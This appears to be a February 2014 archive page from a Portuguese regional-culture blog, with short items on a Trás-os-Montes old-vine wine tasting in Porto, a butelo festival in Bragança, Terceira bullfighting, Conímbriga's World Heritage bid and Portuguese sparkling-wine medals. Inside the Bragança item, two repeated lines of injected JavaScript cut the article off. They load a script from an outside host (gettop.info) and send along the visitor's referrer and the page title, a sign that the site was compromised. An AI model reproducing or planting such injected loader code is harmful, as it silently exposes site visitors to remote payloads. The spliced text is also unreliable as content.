Arquivo para fevereiro 2014 | Página mensal de arquivo

Trás-os-Montes em prova no Palácio da Bolsa

Trás-os-Montes mostra-se no Porto no próximo sábado, dia 15 de Fevereiro, pelas 16h30, na Sala de Provas dos Vinhos de Portugal, da ViniPortugal, no Palácio da Bolsa, no Porto. A prova, organizada pela ViniPortugal em parceria com a CVR Trás-os-Montes, dará a conhecer os vinhos de Vinhas Velhas em harmonização com Pão e Azeites da região.

Enólogos e produtores de Trás-os-Montes conduzirão os participantes numa viagem gustativa pelos cheiros e paladares genuínos de uma região com elevada tradição, que embora continue muito desconhecida tem conseguido conciliar com grande mestria o saber da tradição com as novas tendências.

Estarão em prova os seguintes vinhos de Vinhas Velha:

– Flor do Tua Grande Reserva Tinto, de Essência do Douro, de Wines and Gourmet, Lda.

– Terras do Salvante Reserva Tinto, de Nuno Neves

– Encostas de Sonim Vinhas Velhas Reserva Tinto 2010, de Hélder Martins

– Seixedo Tinto 2012, de Adega Cooperativa do Rabaçal

– Persistente Reserva Tinto 2010, de Orlando Pardelinha

– Ribeira do Corso Reserva Tinto 2010, de Cooperativa Agrícola do Ribadouro

As inscrições para a prova poderão ser efectuadas pelo e-mail sala.ogival.porto@viniportugal.pt, mediante o pagamento de 5€. Outras informações poderão ser solicitadas a Daniela Macedo, através deste mesmo endereço de e-mail ou do telefone 22 33 23 072/ 96 637 11 02.

Fonte:  Wines of Portugal

Bragança – Festival do Butelo à conquista de Espanha

A Câmara de Bragança está apostada em atrair os vizinhos espanhóis com o mais típico enchido da região, o butelo, que é o motivo de um festival gastronómico agendado para os dias 21 a 23 de Fevereiro. s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Açores – Ilha Terceira vai acolher Fórum Mundial de Cultura Taurina

A Tertúlia Tauromáquica Terceirense vai organizar, de 24 a 26 de Janeiro, um fórum mundial sobre a cultura taurina. O encontro, de acordo com os promotores, «visa aumentar a visibilidade da tauromaquia da ilha Terceira no estrangeiro».

Lisboa – «Quim Gravador», o artista da escala reduzida

Leões, casas, brasões de armas, letras, são alguns dos desenhos que Joaquim Martins grava manualmente em anéis, pulseias, medalhas. «Quim Gravador», como é conhecido, iniciou-se na arte da gravação manual aos 11 anos e continua a trabalhar. Na oficina em Lisboa rodeia-se de buris, pantógrafos e lupas de olho, que como diz «são seu olho de vidro», porque se desenha a uma escala muito reduzida.

Centro – Condeixa-a-Nova cria movimento para candidatar Conímbriga a Património Mundial

A Câmara de Condeixa-a-Nova está a «criar um movimento» para preparar a candidatura das ruínas romanas de Conímbriga a Património da Humanidade, revelou o presidente do município, Nuno Moita.

Alunos da Organização Internacional da Vinha e do Vinho em Portugal

Os alunos do mestrado estarão em Portugal até sexta-feira e foram recebidos ontem no Porto com uma visita e sessão de apresentação e boas-vindas realizada pelo Instituto da Vinha e do Vinho (IVV), coordenador do Comité Nacional da OIV em Portugal, ViniPortugal e Instituto dos Vinhos do Douro e Porto (IVDP). Daí seguiram para o Douro, mas passam ainda pelas caves de vinho do Porto em Gaia, Alentejo, Coruche e Setúbal antes de deixarem o país.

O mestrado em “Wine Management” foi criado em 1986 e permite aos seus alunos visitar 24 países e interagir com mais de 30 universidades de todo o mundo. O grupo que está em Portugal é constituído por alunos de cinco países diferentes: França, China, Holanda, Espanha e Portugal (um representante).  

Fonte:  Wines of Portugal

Vinhos portugueses medalhados em concurso de espumantes

Na participação lusa destacam-se as duas medalhas de ouro para os vinhos Marquês de Marialva – Tinto Bruto Reserva 2010 da Adega Cooperativa de Cantanhede e Cartuxa Évora Bruto 2009 da Fundação Eugénio de Almeida. O Quinta da Lapa Espumante Bruto 2011 do produtor Agrovia Sociedade Agro-Pecuária foi galardoado com uma medalha de prata.

A 11ª edição da competição Effervescents du Monde®, organizada pela associação francesa “Forum Oenologie”, decorreu de 13 a 15 de Novembro de 2013 na “École Hôtelière du Lycée Le Castel”, em Dijon, França. Mais de 100 jurados internacionais avaliaram 594 amostras oriundas de 28 países.

Fonte:  Wines of Portugal

Património – Jogos Tradicionais vão ter federação nacional este mês

O número de praticantes de jogos tradicionais, as suas regras, os locais, as memórias e os trabalhos académicos já realizados vão ficar concentrados na futura federação, que durante o mês de Fevereiro deverá ser oficializada.

Vinhos – Geógrafa defende união das regiões do Dão e da Bairrada para promoção internacional

A geógrafa Ana Lavrador defende que a Região Demarcada do Dão deve unir-se à da Bairrada para promover o seu vinho e as suas vinhas no plano internacional.

Tauromaquia – ONU alerta para riscos físicos e mentais de escolas para crianças

Portugal tem 12 escolas onde as crianças aprendem a tourear, e nalguns casos, também a matar touros. A indicação consta de um relatório da organização Franz Weber, que motivou uma recomendação da Organização das Nações Unidas (ONU) para que se protejam os menores da violência das touradas.